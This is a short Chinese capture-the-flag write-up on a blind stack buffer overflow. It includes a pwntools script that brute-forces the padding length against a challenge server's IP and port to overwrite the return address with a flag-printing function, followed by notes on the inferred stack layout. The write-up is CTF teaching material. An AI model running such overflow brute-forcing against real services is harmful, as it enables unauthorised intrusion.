这道题没给附件,nc一下,程序给了个地址,之后可以进行一次输入,之后就没有反馈了,推测该地址就是要溢出跳转的地址,会cat flag
整不出什么花活,直接简单的溢出
一种以32位程序进行,栈帧大小4字节,所以构建:
b"aaaa"*k+p32(addr)
另一种以64位程序进行,栈帧大小8字节,所以构建:
b"aaaaaaaa"*k+p64(addr)
64位的盲测出了结果,所以这里放64位版本的代码,程序如下:
addr=p64(0x40060d)
for i in range(1000):
try:
print("\n",i)
p=remote("61.147.171.105",57702)
payload=b"aaaaaaaa"*i+addr
p.sendlineafter(">",payload)
text=p.recv()
print(text)
p.interactive()
except:
p.close()
注意:
- 单纯的recv在没有输出时会抛出异常
- interactive会起新进程并挂起(类似fork+execv)需要ctrl+c结束进程退出,影响大规模测试
因此,二者结合并加入try-except接收recv的输出并绕过interactive,直到接收到输出,还是很巧妙地~
得到结果,结构大概是:
--------------
输入位置
8个栈帧
-------------
ebp
-------------
addr